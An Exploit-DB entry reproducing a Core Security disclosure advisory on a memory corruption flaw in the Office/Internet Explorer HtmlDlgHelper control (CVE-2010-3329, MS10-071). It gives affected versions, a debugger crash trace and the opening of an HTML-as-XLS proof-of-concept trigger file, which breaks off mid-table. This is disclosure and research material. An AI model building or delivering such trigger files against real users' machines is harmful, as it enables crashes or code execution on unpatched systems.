Exploit-DB #15262
Description: Microsoft Office - 'HtmlDlgHelper' Class Memory Corruption (MS10-071)
Type: dos
Platform: windows
Date: 2010-10-16
Author: Core Security

Exploit:
Core Security Technologies - CoreLabs Advisory
                   http://corelabs.coresecurity.com

  Microsoft Office HtmlDlgHelper class memory corruption


1. *Advisory Information*

Title: Microsoft Office HtmlDlgHelper class memory corruption
Advisory Id: CORE-2010-0517
Advisory URL:
[http://www.coresecurity.com/content/MS-Office-HtmlDlgHelper-memory-corruption]
Date published: 2010-10-12
Date of last update: 2010-10-14
Vendors contacted: Microsoft
Release mode: Coordinated release


2. *Vulnerability Information*

Class: Missing Initialization [CWE-456]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2010-3329
Bugtraq ID: N/A


3. *Vulnerability Description*

Microsoft Windows is prone to a memory corruption vulnerability when
instantiating the 'HtmlDlgHelper Class Object' in a Microsoft Office
Document (ie: .XLS, .DOC). The affected vulnerable module is part of
Internet Explorer ('mshtmled.dll'). This vulnerability could be used by
a remote attacker to execute arbitrary code with the privileges of the
user that opened the malicious file.


4. *Vulnerable packages*

   . IE 6
   . IE 7
   . IE 8
   . MS Office XP
   . MS Office 2003
   . MS Office 2007 and MS Office 2010 (the control is disabled by default)


5. *Non-vulnerable packages*

   . For further information and patches about this issue look at the
Microsoft Security Bulletin Summary for October 2010 [1], patch ms10-071.


6. *Credits*

This vulnerability was discovered by Damian Frizza from Core Security
Technologies.


7. *Technical Description / Proof of Concept Code*

Microsoft Windows is prone to a memory corruption vulnerability when
instantiating the 'HtmlDlgHelper Class Object'
('CLASSID:3050f4e1-98b5-11cf-bb82-00aa00bdce0b') in a Microsoft Office
Document (ie: .XLS, .DOC). The affected vulnerable module is part of
Internet Explorer ('mshtmled.dll'). The vulnerability occurs in
'mshtmled.dll' when the destructor of the 'CHtmlDlgHelper' class is
called and then makes access to uninitialized memory.

The ActiveX control is marked as "Not Safe for Initialization", and
prompts the user with: "ActiveX controls might contain viruses or other
security hazards. Do not enable this content unless you trust the source
of this file". However, in Office 2003 the bug is triggered even if the
user answers "No" to the prompt.

The following code is where the vulnerability occurs, when opening a
.XLS document on Microsoft Office Excel 2003 ('mshtmled.dll'
v8.0.6001.18702):

/-----
mshtmled!ReleaseInterface:
42b919c0 8bff            mov     edi,edi
42b919c2 55              push    ebp
42b919c3 8bec            mov     ebp,esp
42b919c5 8b4508          mov     eax,dword ptr [ebp+8]
ss:0023:0013d104=00310065
42b919c8 85c0            test    eax,eax
42b919ca 7406            je      mshtmled!ReleaseInterface+0x12
(42b919d2) [br=0]
42b919cc 8b08            mov     ecx,dword ptr [eax]  ds:0023:00310065
42b919ce 50              push    eax
42b919cf ff5108          call    dword ptr [ecx+8]   
ds:0023:7d02029c=2a2c277a

eax=00310065 ebx=00000000 ecx=7d020294 edx=df0b3d60 esi=001edbdc
edi=00000000
eip=2a2c277a esp=0013d0f4 ebp=0013d0fc iopl=0         nv up ei pl nz na
pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            
efl=00000206

Stack Trace:
<Unloaded_ion.dll>+0x2a2c2779
mshtmled!ReleaseInterface+0x12
mshtmled!CHtmlDlgHelper::~CHtmlDlgHelper+0x10
mshtmled!ATL::CComAggObject<CHtmlDlgHelper>::`scalar deleting
destructor'+0xd
mshtmled!ATL::CComAggObject<CHtmlDlgHelper>::Release+0x27
VBE6!rtcStrConvVar+0xbd65
VBE6!rtcSetDatabaseLcid+0xa823
EXCEL!Ordinal41+0xd2ad0
EXCEL!Ordinal41+0x14082a
USER32!CallWindowProcW+0x1b
Instruction Address: 0x000000002a2c277a
-----/


The following html code demonstrates the bug on Excel 2002/2003. Save
the file as .XLS and open it on Excel.

/-----
<html xmlns:v="urn:schemas-microsoft-com:vml"
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel">

<head>
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
<meta name=ProgId content=Excel.Sheet>
<meta name=Generator content="Microsoft Excel 10">
<!--[if !mso]>
<style>
v\:* {behavior:url(#default#VML);}
o\:* {behavior:url(#default#VML);}
x\:* {behavior:url(#default#VML);}
.shape {behavior:url(#default#VML);}
</style>
<![endif]--><!--[if gte mso 9]><xml>
 <o:DocumentProperties>
  <o:LastAuthor>TEST</o:LastAuthor>
  <o:LastSaved>2010-08-03T05:19:51Z</o:LastSaved>
  <o:Version>10.6858</o:Version>
 </o:DocumentProperties>
 <o:OfficeDocumentSettings>
  <o:DownloadComponents/>
  </o:OfficeDocumentSettings>
</xml><![endif]-->

<!--[if gte mso 9]><xml>
 <x:ExcelWorkbook>
  <x:ExcelWorksheets>
   <x:ExcelWorksheet>
    <x:Name>test</x:Name>
    <x:WorksheetOptions>
     <x:CodeName>Sheet1</x:CodeName>
     <x:Selected/>
     <x:DoNotDisplayGridlines/>
     <x:ProtectContents>False</x:ProtectContents>
     <x:ProtectObjects>False</x:ProtectObjects>
     <x:ProtectScenarios>False</x:ProtectScenarios>
    </x:WorksheetOptions>
   </x:ExcelWorksheet>
  </x:ExcelWorksheets>
  <x:WindowHeight>9345</x:WindowHeight>
  <x:WindowWidth>13260</x:WindowWidth>
  <x:WindowTopX>240</x:WindowTopX>
  <x:WindowTopY>60</x:WindowTopY>
  <x:ProtectStructure>False</x:ProtectStructure>
  <x:ProtectWindows>False</x:ProtectWindows>
 </x:ExcelWorkbook>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <o:shapedefaults v:ext="edit" spidmax="1026"/>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <o:shapelayout v:ext="edit">
  <o:idmap v:ext="edit" data="1"/>
 </o:shapelayout></xml><![endif]-->
</head>

<body link=blue vlink=purple>

<table x:str border=0 cellpadding=0 cellspacing=0 width=64
style='border-collapse:
 collapse;table-layout:fixed;width:48pt'>
 <col width=64 style='width:48pt'>
 <tr height=17 style